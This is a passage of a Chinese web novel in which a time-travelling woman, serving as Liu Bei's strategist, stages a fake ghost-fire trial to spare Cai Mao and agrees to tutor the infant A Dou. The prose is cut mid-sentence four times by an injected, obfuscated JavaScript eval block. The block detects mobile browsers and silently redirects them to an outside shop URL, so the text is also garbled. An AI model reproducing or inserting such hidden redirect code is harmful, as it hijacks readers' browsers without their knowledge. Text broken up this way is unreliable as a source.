她想第一时间跟孔明分享她的喜悦,但奈何人在荆州,暂时不能回襄阳。只好夜里住在驿馆,把头埋在被子里小声唱:“独自走~下长坂坡,月色太温柔,曹操不啰嗦,一心要那荆州,用阴谋阳谋明说暗夺的谋——欧欧——” 梁爽将关羽调到荆州镇守,刘封、关平辅助。而将荆州诸将分别调派到襄阳、樊城、新野、博望等地,分散开来,分别观察他们的家眷老小则一律留在荆州。对于新归附投诚的将领,她必须花一段时间甄别才行,不敢轻易使用。 等安置好了荆州,梁爽押送着蔡瑁回到襄阳。 之所以亲自押送,而不让魏延捎蔡瑁一程,是因为梁爽怕万一让魏延押蔡瑁上路,魏延十有八九会把自己这个便宜舅舅送上黄泉路。 魏延,太不受控。 他不受控地杀掉了五万水军。 最初梁爽安排的计划,是以离间曹操和蔡瑁为主,因此蔡瑁两次行船,梁爽都让将士们不要半道伏击,以此给曹操造成疑虑。 梁爽给魏延的指令,是让魏延等蔡瑁水军进入荆州地界,以小舟偷偷尾随,然后寻得战舰停泊处,夜里偷偷放火,烧掉所有战船。 因为曹操无法到荆州核实蔡瑁的战船到底被烧掉没有,所以即便蔡瑁说遇袭,曹操也不会相信。 但魏延阳奉阴违自作主张,在荆州城外水道两侧设了埋伏,杀了五万人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486248|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他用五万人的命给自己挣了军功,却将梁爽的离间计彻底毁了。 幸而中途梁爽救下了刘琮母子,让刘琮劝降了荆州,否则荆州与曹操遥相呼应而将襄阳夹在中间,仗会加倍难打。 魏延是一把锋利的剑。 一旦使用不好,便会伤手。 要怎么将这把剑好好收进剑鞘里……梁爽为此颇费脑筋。 一味施恩,只会纵容得他越来越难驯,甚至生出不臣之心。 但若加以责备,魏延若含恨反水,所造成的伤害,也不是他能轻易承受的。 只好暂时将对魏延的赏罚搁置,等回到襄阳面见主公后再议。 在魏延的事上,刘备的心思与梁爽是一致的。他身为主公,一艘巨轮的舵手,必须在大多数时候保持清醒警惕。越是大功告成的喜悦时分,越不敢松懈,以免乐极生悲。 庆功过后,刘备向梁爽问三条计,第一计便是关于魏延。 梁爽叹道:“我也日夜为此忧虑。唯一的办法,便是多用他做前锋。”魏延好杀,那就让他去杀。只给他有限的兵马,让他拼尽全力立功去。跟遛狗是一个道理,让他把想做的事做了、想要的奖励拿了,自然就不至于回来窝里哄。而且前锋与中军关系最为密切,相对便于控制些。 “至于这次的赏罚……”刘备问。 “主公不妨给他一个头衔,再减免他半年俸禄,小惩大诫。让他人前风光,但又吃了点小亏,长长记性。” 刘备点头称是。 又问:“曹操那边,大军迟迟未动,不知他下一步会如何?” “荆州已定,想必他也知道他已无力回天。此次他只能无功而返,但面子上挂不住,正等识眼色的谋士给他递台阶呢。这个主公不必担心。” 刘备安心少许,再问道:“荆州已定,我欲迁驻荆州,军师意下如何?” “荆州乃自古兵家必争之地,曹操与东吴都对此地虎视眈眈,往后必然常起战火。主公若驻于此,需要时时因应军情而撤离到其他地方,实在不便。依我之愚见,主公不如住在襄阳,襄阳距离荆州近,既可以控制荆州,又较为安稳。” 刘备沉吟道:“军师说得在理,但若不驻于荆州,备始终心里不踏实。容备过几日召齐众人,一同商议。” 梁爽道:“主公说得是。” 问完大事,刘备问:“不知蔡德珪——军师的舅舅,军师打算如何处置?” 31. 刘表要显灵? 曹军撤退时,不敢在先前驻军的鹊尾坡停留,而是由往北回撤了数十里,驻扎于舞阳。 驻扎于舞阳,其实离许都近而离襄阳远。几乎等同于撤兵,只是还没有撤回许都去罢了。 此时曹营之中,探子来报,刘备已经接管了荆州城,听说是黄楚携刘琮叩开了城门,兵不血刃。 曹操闻言,瞥了于禁一眼。于禁打了个冷战,连忙跪下请罪。当初放走刘琮,他自知犯错,但却没预料到后续竟会让曹操因此丢了荆州。 “罢了。”曹操抬手示意他起。 帐中众将听闻荆州消息后,皆噤若寒蝉,一个个低头看向脚尖,只有曹仁、曹洪这样的宗亲敢偶尔偷眼瞟一瞟曹操的脸色。 曹操面上还算镇定,只是沉声继续问道:“那蔡瑁呢?是死是活?他那五万水军到底是真被魏延烧了,还是作伪?” 那探子其实已经探知真相,知道蔡瑁上次来投降其实是真投降,也知道曹操迟迟没有与蔡瑁联手夹击刘备其实是中了刘备的反间计,但他却不敢当众说出来令丞相面子挂不住——丞相面子挂不住,还会有谋士帮他挂回去;若他因为上报了这消息而让自己脑袋挂不住,可就再也挂不回去了。 于是那探子答道:“回、回禀丞相,蔡瑁那厮被刘备一方严密保护,属下无能,竟探不得一点消息。”暗示蔡瑁是早与刘备串通来诈曹操,幸而曹操识破了他的伎俩,没有被他骗到。 曹操摆摆手,命他退下。 曹操率五十万大军从许都出发,刚到刘备的地盘,连刘备的脸都还没见到,就被打没了二十五万兵马,还折了大将许褚等人,结果却一座城池都没拿下。这一切都让他怒火中烧。 “荆州,荆州……大耳贼!”曹操在军帐中来回踱步,手中的一卷竹简被他捏得咯吱作响。 他向来性情阴晴不定,盛怒之下又易杀人,因此麾下将军谋士连日来皆是小心翼翼,此刻连呼吸都不敢大声,更不敢轻易建言,生怕被曹操拿来撒气。 “我欲得荆州,诸位可有良策?”曹操道。 夏侯惇第一个表忠心:“末将愿听从主公差遣,与那大耳贼血战到底!”只宣示忠心,却不提供计策。 眼下众人都知道,刘备刚刚从几十万人的包围圈里救回了赵云,又连扳回两座城池,正是士气旺盛的时候,此时最不宜与之争锋。 而若要打持久战,曹军因自带的粮草早被关羽张飞纵火烧毁,又根本消耗不起。 就算要就地征粮——刘备仁爱,在附近一带深受百姓爱戴,曹军靠普通手段根本征不到粮食,总不能靠硬抢吧?真要硬抢,更是将老百姓往刘备阵营推。 虽然兵荒马乱的年代,士兵劫掠百姓再常见不过,但“得道多助、失道寡助”的道理,曹营的众人还是都懂得。 张辽、曹洪、于禁等众将跟在夏侯惇之后一个个剖白忠心,但豪言壮语过后便又都陷入一片沉默。 无计可施。 无计可施。 “若是郭奉孝尚在……”曹操心中暗叹,喉咙涌动一股泪意。 可惜世间再不会有第二个郭奉孝了。 上天肯赐刘备一个黄阿楚,却不肯垂怜我曹操,令郭嘉长命百岁、辅佐我成就霸业么……天意,天意究竟为何! 曹操踱来踱去,最终所有可能的破敌思路都走到了尽头。 眼前只剩下一条路:收兵。 无论他有多少悔恨、多少恼怒,眼前都只剩下一条路:收兵。 这是最明智、也是唯一明智的办法。 然而这个办法,以他的骄傲,决不可从自己口中说出。 曹操猛然停住脚步,众人皆是心头一凛。他目光扫过众人,众人越发低下头去。 曹操的目光最后落在程昱身上。 他知道此时此地自己这群部下中,唯有程昱最能懂他的心思。 片刻之后,果然,程昱轻咳一声,上前一步:“主公,在下有一言……” “讲。” “新野一战,我军虽有小挫,但主力未损。如今荆州已失,不如暂且退兵,待来日再图良策。” 曹操眯起眼睛:“退兵?” “明公所言正是。”程昱不慌不忙:“我军连日征战,将士疲惫。不如退守许都,休养生息。况且……”他顿了顿:“刘备新得荆州,必生骄矜之心。我军不妨待其松懈,再以雷霆之势出击,必可一举而下。” 帐中众将纷纷点头称是。 曹操道:“我若退兵,则许褚之仇未报,我如何忍心!” 程昱道:“许将军忠心耿耿,必知主公之心。主公将来必有战胜刘备、夺下荆州之日,何愁不能报仇雪耻?何必急于一时?” 曹操道:“也罢,就依你所言。传令下去,大军明日开拔。” 众将退下,留曹操独自静坐在案前。 俄而,帐内传来轰然响声,案几上堆叠的竹简被狠狠扫在地上,曹操将手里攥着的那一卷竹简掷于地面,碎片四溅——不知他是先前几时将竹片捏碎的。曹操犹不解气,一把掀翻案几,笔墨纸砚洒了一地。他抓起挂在帐中的宝剑,对着帐内的陈设疯狂劈砍。 “刘备!黄楚!”他咬牙切齿,眼中布满血丝:“还有蔡瑁、刘琮!” 剑锋划过屏风,绢布瞬间裂成两半。青铜灯架倾翻,灯油洒了一地,火苗窜起又熄灭。曹操抓起案几上的茶盏,狠狠砸向帐壁。 “丞相……”帐外卫兵明知曹操在干什么,不想出声问询,但守卫职责在身,又不能装傻充愣,只好战战兢兢试探着问道。 “滚!”曹操怒吼:“谁敢进来,军法处置!” 帐外立刻没了声息。 曹操喘着粗气,手中的宝剑“咣当”一声跌落在地。他颓然坐在地上,看着满目狼藉的军帐,突然发出一阵低沉的笑声。 笑声越来越大,最后变成了歇斯底里的大笑。 曹操笑得眼泪都出来,随后抹了把脸,深吸一口气,慢慢站起身。 “来人,”听声音,似乎是恢复了平静:“进来,收拾一下。” 曹军的探子没有说错,蔡瑁那厮确实正被刘备一方“严密保护”。 梁爽带着刘琮,扶刘表棺椁,亲自将蔡瑁从荆州押回襄阳之后,刘备派赵云负责接收,由他安排兵士昼夜轮班看管。 赵云没有滥杀的毛病,心思又缜密,既不至于对蔡瑁磨刀霍霍,又不至于疏忽之下让他逃脱。实在是完美人选。 先前梁爽让魏延回襄阳报信时,没有让他顺路押解蔡瑁,暗含的意思是想留蔡瑁一命——如果让蔡瑁落在魏延手里,半路上恐怕凶多吉少。 刘备让赵云来负责蔡瑁,正是因为他品得出梁爽的意思,也尊重了她的意思。 刘备仁柔,轻易不忍杀人。 梁爽也不喜欢见血。倒不是因为亲情的束缚——蔡瑁当初差点杀了她,所谓亲情早已断绝——只是因为她曾对刘表起誓,承诺会赡养舅父。 梁爽是现代人,信奉科学,不信鬼神。她知道她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486249|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就算杀了蔡瑁,刘表也不能变成鬼怪来惩罚她。但她重视诺言,她想做言而有信的人,她不想为了区区一个蔡瑁,而令自己的人生经历沾染污点。 蔡瑁此人,她不想杀。 但放他自由,又不行——此人心坏,一旦逃脱,大概不但不会感她饶命之恩,反倒会报复。 长年累月派人看守他,实在浪费人力。而且防贼千日,终有一疏。 于是梁爽想了一个别的法子,请示过刘备之后,获得允准,立即执行。 襄阳一处城门内,兵士们临时搭起一座一丈高的土台。此时正值日暮,出城做事的百姓正是赶在日落前回城之际,城门人流密集。梁爽又派人遍邀襄阳士族世家前来。 土台筑成,梁爽站在台上,目光扫过台下密密麻麻的人群。众人齐聚于此,不知究竟为何事,窃窃私语声此起彼伏。 “来人,带人犯!”黄军师一声令下,全场肃静。 蔡瑁被押上高台,昔日威风凛凛的荆州大将,此刻却披头散发,步履蹒跚。押解他的士兵将他摁倒在台上跪着,他目光扫过台下,看到昔日同僚或鄙夷或怜悯的眼神,不由得忿忿偏开脸去。 “请成武侯、刘景升公神主!”梁爽朗声道。 四名曾侍奉刘表多年的老卒,白发苍苍,抬着刘表牌位,缓步走上高台,将牌位和刘表衣冠安置在高台正中,仿佛刘表亲临。 一阵寒风吹来,蔡瑁后脊梁骨一阵冰凉,浑身一颤,险些跪不稳。 “蔡瑁,”梁爽的声音如洪钟般响起:“今日当着刘公之灵,当着荆州父老的面,你可认罪?” 蔡瑁张了张嘴,却发不出声音。 梁爽一挥手,两名士卒将一卷竹简展开在蔡瑁面前:“念!” 为了活命,蔡瑁不敢违抗。他浑身哆嗦,声音嘶哑地念道:“罪臣蔡瑁……一罪、撕毁盟约……二罪……私通曹操,三、三罪……背叛旧主……四罪……谎传军情……” 每念一条罪状,台下的骚动就加剧一分。当念到“构陷忠良,残害同僚”时,人群中突然爆发出怒吼:“杀了他!” 梁爽抬手示意众人安静:“蔡瑁,你可还记得当年在姨父面前立下的誓言?” 蔡瑁抬头看向刘表的神位,刘表的名讳以金漆书写,在霭红夕阳下染作明亮的血色。蔡瑁恍惚间仿佛看到刘表正怒视着自己。他身子一软,伏倒在地:“记、记得……罪臣……罪臣知错了……” 台下一片哗然。 梁爽环视众人,朗声道:“鄙人黄楚,昔日曾在姨父景升公面前,曾与蔡瑁歃血为盟,共同护卫荆州、共抗曹贼,我亦发誓赡养舅父。奈何蔡瑁毁弃盟约,先是欲杀我,此后又密谋投降曹操,将荆襄九郡献与老贼!蔡瑁犯下可诛之罪共十项,论罪当死!但主公刘玄德公宽宏大量,知我曾在姨父前发誓赡养蔡瑁,故而愿饶他不死,将他的命交给我处置。我若杀他,便是背誓;我若不杀他,则对不起战场上阵亡的将士!今日,我黄楚决定将他交给姨父,让姨父决定是否索他的命!” “来人!”梁爽吩咐道:“将姨父神位与蔡瑁置于此处,尔等严加看守,不许旁人近前杀他,也不许他逃脱。若一夜之后,蔡瑁仍活着,便是姨父饶过他;若一夜过后,姨父将他小命追索,也怨不得我了。” 台下众人啧啧称奇,一个个交头接耳,兴奋不已:虽说几年前黄巾军各式法术吆喝得震天响,却鲜少有当面显灵的。如今这台子就搭在眼皮子底下,如果刘表显灵,那今晚可就有好戏看了。 32. 装神弄鬼处置蔡瑁 冬天的夜,北风呼啸,寒冷刺骨,若能在家里烧一个暖炉,拥着取暖,该是很好。 然而襄阳人饭都不吃了,觉也不睡了,都跑到城东门来看刘表会不会显灵。 梁爽为了满足大家伙儿的好奇心,特意请示刘备,取消了这晚的宵禁。 幸而冬天,天黑得早,暮色匆匆褪去,夜幕渐渐降临。 襄阳城万人空巷,百姓们扶老携幼,将蔡瑁在的那座土台围得水泄不通。 只是他们不知道,这筑土台用的泥,是梁爽从荆州回来前,特意派人去荆州沼泽里挖回来的:梁爽听说那片沼泽夜里经常冒出幽幽蓝光。荆州的老人们都说那是枉死之人的魂魄在游荡,而梁爽一个现代人却知道,那都是存在于自然界的磷的自燃现象。 土台四周没有火把。刘表的牌位已经安置在土台正中,凹刻下去的黑漆金字在暮色中泛着寒光,隐约看得出一点字形。 天一点点暗下去,太阳彻底沉没,月亮在云雾中穿行,忽明忽暗。 磷的自燃并不可控,但梁爽并不紧张。 今夜,无论有“鬼火”还是没有“鬼火”,都可以。都不妨碍她的计划的实施。只不过若能赶上有“鬼火”,这次公审蔡瑁会在这古代被渲染得极为离奇,故事会传播得更快、更远,更能传进曹操的耳朵里。 因此梁爽根本没打算陪众人整夜等待鬼火,她打算先回家看看诸葛亮。 她……有些思念他。 虽然她现在说不清楚自己内心的情愫到底是什么。是战友情,是爱情,还是来自前世的敬仰和倾慕。 又或者,是因为这个世界只有他知道她从何处穿越而来,只有他能懂她的寂寞。 梁爽刚挤出人群爬上马车,听得身后爆发众人的吵嚷和尖叫。 不用看,她也知道,必是那土台四周突然冒出了点点蓝光,在空中闪闪烁烁飘忽不定,宛如鬼火一般。 蔡瑁浑身剧颤,双眼圆睁:“这……这是……”寒冬之夜,冷汗顺着他的额头、后背汩汩流下,很快浸湿了全身。 台下的百姓惊呼连连,有人跪地磕头,有人吓得转身就跑,有胆大的睁圆了眼睛紧盯着看,根本舍不得眨眼。 鬼火在夜空中飘荡,映得每个人的脸都蓝莹莹的,牌位上的刻字原本已被黑夜吞没,现在在蓝光中一闪、一闪。 “景升公!这是景升公回来了!”人群中有人喊道。 “景升公是不是要带蔡贼走?”众人议论纷纷。 蔡瑁只觉得天旋地转,周边的鬼火越来越多,越来越近。他仿佛看到了刘表的影子在鬼火中若隐若现,仿佛听见刘表的声音在耳边回响:“逆贼……逆贼……” “啊啊啊啊啊啊啊——啊!”蔡瑁发出一连串惨叫,身子往旁边一歪,晕倒在地。 梁爽趁机高喊:“既然姨父要带走逆贼,黄楚只好恭敬不如从命了!” “蔡瑁已经被姨父索命而死,”她站在马车上,面向众人,声音洪亮:“我主公玄德公,宽宏大量,念在蔡氏子弟、蔡瑁旧部多为胁从,今日特赦其罪!从今往后,只要忠心耿耿为主公效力,既往不咎!” 梁爽命人将蔡瑁抬下去“安葬”,随后代颁刘备的命令,分别赏赐蔡氏旁支子弟及归降将领,又将蔡瑁嫡系部曲打散,分别编入魏延前锋营。 “此事到此为止,诸位都散了吧。”梁爽吩咐道。 然而众人吃瓜看戏正在兴头上,一个两个都舍不得走。 梁爽:“蓝莹莹的,很好看,是吧。” 还真有人听了这话之后点点头。 梁爽:“再好看,那也是鬼火。你们想被鬼缠上?” 众人仓皇作鸟兽散。 夜色沉沉,蔡瑁被秘密抬到一处僻静院落。 人散尽后,梁爽亦乘车前往此处。推门而入,只见烛光映照下,蔡瑁刚刚被人冷水泼醒,脸色苍白。 “蔡将军,”梁爽开门见山,并不与他叙任何温情:“本军师给你指一条生路。” 蔡瑁低着头,缩着背,身形再无桀骜。 “去南阳。隐姓埋名,剃度出家也行,归隐山林也罢。”梁爽顿了顿:“每月本军师会派人送银钱给你,足够你衣食无忧。” 蔡瑁嘴唇蠕动了一下。 “你若不听劝,执意要去投奔曹操,”梁爽的声音陡然转冷:“本军师明白告诉你,今晚的事一定会传遍天下人的耳朵——包括曹操的耳朵。曹操见了你,一定不会信你,只会怀疑你是在配合我演戏,要去骗他。他一定会把你杀了。本军师希望,蔡将军不要再犯一次傻,白白枉费我今日大费周折保你一条命。知道了么?” 鬼火令蔡瑁犹有余悸,他哆哆嗦嗦点了点头。 梁爽从袖中取出几串钱:“这是三个月的用度,够你安身。记住,从今往后,世上再无蔡瑁此人。你走罢。” 蔡瑁接过钱袋,手指微微发抖。他抬头看了眼梁爽,欲言又止,于是踉跄着站起身,跌跌撞撞扶着墙走了出去。 梁爽看着他上了马车,又看着马车消失在夜色中。她知道,以蔡瑁的性子,未必会安分守己。但该给的机会给了,该说的话说了,剩下的,就看蔡瑁自己的选择了。 载着梁爽的马车终于回到她在襄阳的家时,已经月上中天。薄雾散尽,一轮团圆的大月亮映照夜空。 高洋年轻贪睡,李嬷嬷汪嬷嬷睡眠质量也奇好,出门前没带钥匙的梁爽拍了半天门没拍开,反倒把隔壁关羽一家给吵醒了。 关银屏打开门,轻轻唤道:“黄夫人,您不如来我家睡罢。” 梁爽不好意思道:“抱歉,将你们吵醒了?” 银屏道:“没事儿,反正我家爹娘平日说话声音也大,居家过日子肯定没少吵到您一家。夫人在外征战辛苦了,快进来罢。” 夜半三更,男女有别,关羽不便出来相见,于是王夫人出面接待。梁爽道:“蒙夫人好意收留……但我实在……能不能请夫人借一把梯子、一条绳索?我还是想……” 王夫人掩口微笑道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486250|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“军师是挂念诸葛先生,一刻也等不及相见了。” 梁爽有些害羞地笑笑。 王夫人和小银屏给她搬了梯子来,梁爽牵着绳索爬上墙头,将绳索系在旁边老杨树上,然后一点点放下绳索,身子缓缓落进自家院子中。 给车夫开了门,安置在马厩边的值房里,梁爽便连忙往卧房去,怎知才走没几步,忽觉脑后一阵掌风——“啪!”被李嬷嬷一章打在后脑,登时头晕眼花。 “呔!大胆贼人,敢强闯黄宅!”李嬷嬷大喝道。 旁边汪嬷嬷上前拎起黄楚就要给她来一记反手剪,忽然感觉这贼人的身形好像太过熟悉…… 眼前金星四冒的梁爽:我喊你们开门的时候听不见,我好不容易靠自己爬回家了你们听见了是吧…… 一手端着一盏油灯,梁爽轻轻轻轻推开卧房的房门。 昏黄的灯光映照着床上那个熟悉的身影。 她轻手轻脚地走到床前,生怕惊醒了沉睡中的人。诸葛亮静静地躺着,呼吸平稳绵长,长长的睫毛在脸上投下一片阴影。 梁爽在床沿坐下,伸手轻轻拂开孔明额角的碎发。指尖触到他微温的皮肤,她的心也跟着柔软下来。 “孔明……”她轻声呢喃:“我回来了。” 烛光摇曳,梁爽的目光落在榻边那卷《孙子兵法》上。 一眨眼功夫,穿越到此地已经半年了。她原以为自己驾驭不了的兵法,凭着她先天的悟性、后天的勤奋、孔明在旁的点拨,竟然真的被她掌握了。不但掌握,而且运用纯熟。 最初她想要得到荆州的时候,她自己其实都隐隐觉得这想法太过大胆,但孔明对她计策的肯定给了她底气:她不敢相信自己,但她相信孔明。 如今,她真的做到了。而且不费一兵一卒,就收服了荆州。 “这份喜悦,我没有其他人可分享。”她说:“虽然主公、同僚、百姓,他们都很为我高兴,但是他们不知道我是怎么一路走来的、我一路走来的时候心里有多苦、我现在有多开心多骄傲。只有你懂得。” 梁爽轻轻握住诸葛亮的手,感受着他掌心的温度:“你知道吗?我有好多事想跟你说。好多好多事。我今晚上装神弄鬼把蔡瑁吓晕了,还让大半个襄阳城的人都看了好戏。可惜咱们家的嬷嬷和小高洋,好静,没去凑热闹,把我给锁在门外不说,我好不容易翻墙进来,还把我当成贼……”诸葛亮仍在睡,她低声诉说着白天和夜晚的种种,连她自己都未曾觉察,她的声音不知何时变得轻柔似水。 月光倾泻进窗内。梁爽起身,为孔明掖了掖被角。 “晚安,好梦……等你醒来,我再正经说给你听。” 却没想到第二天一觉醒来,早饭刚吃完就收到了刘备发来的邀请:“拙荆久闻军师大名,欲邀军师明日来敝庐一叙,军师意下如何?” 梁爽:“承蒙夫人垂爱,黄楚荣幸之至……” 真是躲得过初一躲不过十五,现在是真要去见刘禅那个小祖宗了啊! 33. 要扶起阿斗 梁爽站在刘备府邸前,深吸一口气,低头看了看自己身上这身淡青色的衣裙,又摸了摸发髻上插着的玉簪,总觉得哪里都不自在。 她平日打扮得俭素,今日来见两位夫人,为表尊重,请两位嬷嬷为她着意打扮了一番。 “夫人,”身旁的李嬷嬷轻声提醒:“该进去了。” 梁爽回头扯着嬷嬷衣角,小声嘀咕:“嬷嬷,你说我现在装病还来得及吗?” 李嬷嬷无奈地看了她一眼:“夫人,莫要胡闹。” 梁爽轻轻叹了口气。她这个现代人穿越到三国已经够心累了,现在还要去见那个“扶不起的阿斗”,想想就觉得头疼。虽然现在的刘禅还是个襁褓中的婴儿,但一想到将来要辅佐这么个主君,她就恨不得现在就把他塞回娘胎里重造。 李嬷嬷性子急,根本不由得梁爽在阶下磨蹭,二话不说就上前扣门。 门童开门,听闻是黄军师到,连忙叫人通传,同时引梁爽进门。 刘备节俭,爱惜民力,驻扎襄阳以来并未新建大宅,而是购下了文聘的旧宅住着。 文聘是正派武将,不爱奢侈,故而宅子虽大,内里却空旷得很,无甚装饰,连树都没有种几棵,留出空间几乎都用来做习武场用了。 梁爽穿过垂花门,经回廊,进后院,只见一片光秃秃的平地,平地中央立着一个凉亭,凉亭顶上铺着茅草,梁柱一点雕花都没有。 “军师到了!有失远迎。”两名女子从凉亭向她走来,其中一位身着鹅黄色袄裙、身量纤弱的夫人笑道:“妾身糜氏,这位是甘妹妹。” 梁爽连忙见礼,糜夫人快步上前将她扶住:“军师免礼。我们全靠军师才能在此安然度日,该我们多谢军师才是。” 梁爽忙道“不敢”。 甘夫人容貌年轻,立在一旁望着二人微笑,向梁爽点头示意。 见到两位夫人,梁爽心中暗叹:“历史上糜夫人为了不拖累赵云,自己投井而死,如此刚烈,没想到性情竟是这般温柔,身段也好像一股风儿就能吹垮似地。反倒是甘夫人,矫健挺拔,眉宇中有英气,更像女中豪杰。” 二位夫人引梁爽去亭中坐,梁爽默默走在她们身后,目光忍不住左右乱瞟,不知阿斗在哪、今天会不会出现。 落座寒暄,糜夫人问候诸葛先生贵体如何,梁爽轻叹道:“多谢夫人关怀。我上次从新野回来襄阳那日,拙夫曾短暂睁开眼睛,但很快便又睡去了。” 糜夫人、甘夫人听了,皆是嗟叹不已。糜夫人安慰她道:“我兄长经商,人脉广泛,认识许多郎中。现在咱们在襄阳安定下来,我让兄长多请名医回来为先生诊治,先生必能尽快好转。” 梁爽连忙谢过。 “军师切莫客气,”糜夫人道:“军师在外为我家孩儿他爹筹谋大事,我们帮军师解决后顾之忧,原是应当的。不怕军师笑话,我受父母兄长耳濡目染,也常存报国之志,只恨先天禀赋不足,身子骨若,不能上战场杀敌,又不似军师这般睿智,以致报效无门。军师实在是女子的榜样。” 梁爽忙道:“二位夫人做主公的内助,照顾主公起居,于时局也是有利的。况且小主公亦需夫人们教育,方可成才。” 糜夫人微笑道:“军师说到我心坎上了。”唤人道:“阿斗呢?抱来给军师瞧瞧。” 话音刚落,一名奶娘就怀抱着一个襁褓走了过来。糜夫人一个眼色,奶娘便将襁褓送到梁爽面前。 梁爽探头一看,只见襁褓中的婴儿粉雕玉琢,正睁着圆溜溜的大眼睛好奇地打量着她。 “好可爱……”梁爽下意识地说道。说完又在心里暗叹:这就是未来的“扶不起的阿斗”吗……也太可爱了吧!难怪后来被培养成一个小废物啊!这么可爱的小胖孩,谁不想放在心尖狠狠宠爱!谁舍得对他说一句重话啊! 正想着,怀里的阿斗突然“咯咯”笑了起来,小手胡乱挥舞着,一把抓住了梁爽耳边碎发,使劲一扯。 “哎呀!”梁爽吃痛,身子躲避,一个没站稳,踉跄了一下。 “军师小心!”甘夫人眼疾手快,一把扶住了她。 阿斗不撒手,还扯。 “阿斗乖,放开军师的头发。”甘夫人温声道。嗓音温柔得像天鹅羽毛,一丝丝威慑力都没有。 若是换成别家小屁孩,梁爽已经上手去拧他小屁股了,但这是领导的亲儿子…… 梁爽忽然想穿越到二十年前直接阻止糜夫人嫁给刘备,把这熊孩子掐灭在卵细胞里。 阿斗似乎感受到了她的危险念头,突然“哇”的一声哭了起来,然而小爪子还是拽着头发没撒手。 梁爽更气了:嘿,你揪我头发,你还哭了?还有没有天理了? 还是多亏糜夫人有决断,上手用力一把拍开了阿斗的小爪,说道:“小儿顽劣,弄疼军师了吧?我教导无方,替这孩子向军师赔罪。” 梁爽“嘶嘶”吸着冷气,按摩着自己快被扯掉的头皮,说道:“无妨,小孩子不懂事。” 糜夫人道:“军师也看到了,这孩子是从娘胎里带出来的顽劣,我和甘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486251|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹妹的脾气,都管不住他。孩子他爹,更是宠他宠到没边……俗话说得好,‘惯子如杀子’,这孩子在我们手上,恐怕难以成才,不知军师可愿……眼看着诸葛先生一时半会儿没有醒,军师暂时难以有自己的孩子,如果军师愿意,妾身有个不情之请——军师可愿做阿斗的干娘,帮我们姐妹教育阿斗?” “这……这……”梁爽一时不知道该怎么回。她正恨不得把阿斗按回娘胎里,结果阿斗亲娘问她愿不愿意给阿斗当干娘…… “我、我实在没有什么教育孩子的经验……不如夫人还是另请高明……” 糜夫人道:“放眼望去,天下有几人能有军师这般才干呢?我们姐妹商议了许多次,实在找不到比军师更好的人选了。妾身知道军师公务繁忙,不敢多劳累军师,只希望军师得闲时能常来府上坐坐,点拨阿斗一二。” 这时甘夫人不声不响在旁边捧上一碗桂花莲子银耳羹:“军师尝尝。” “这……”梁爽不好拒绝,只好拿起银匙:“多谢夫人。” 甘夫人不愧姓甘,这碗香甜的桂花莲子银耳羹,甘香甜美,味道绝了。是梁爽穿越以来吃到的最好吃的东西。 梁爽内心激烈动摇。 虽然她也不怎么懂教育……虽然要管教领导的儿子真的很难掌握分寸……但万一她能改变阿斗,让他成长为一个不那么拉胯的主公,那蜀汉的未来会不会比历史上光明些许呢? 刘玄德英雄一世,诸葛亮呕心沥血,五虎将出生入死——他们拼命打下的江山,不该毁在眼前这粉娃娃手里。 “好。既然二位夫人信任在下,在下愿尽力一试。”梁爽道。 两位夫人喜形于色,刚要说话,听得梁爽道:“但在下要先与夫人约法三章。” “军师请讲。” “一,虽然有君臣之别,但在下教育小公子时,身为义母,就先将君臣之道放在一边。如有失礼之处,还请二位夫人和主公多多包涵。” 两位夫人皆赞同。 “二,在下身为军师,讲究‘令行禁止’,之后若安排小公子做什么、或是禁止小公子做什么,还望二位夫人不要干预。” 二位夫人亦同意。 “三……”梁爽将身子前倾,放低音量,轻轻说了几句。 二位夫人闻言皆怔住,彼此对望片刻。最后糜夫人向甘夫人点了点头,甘夫人轻轻叹了一声,算作同意,于是糜夫人道:“好。从此,阿斗就拜托军师了。” 旁边阿斗好像听懂了人话,哭得更大声了。 34. 这军师和牛马有什么两样 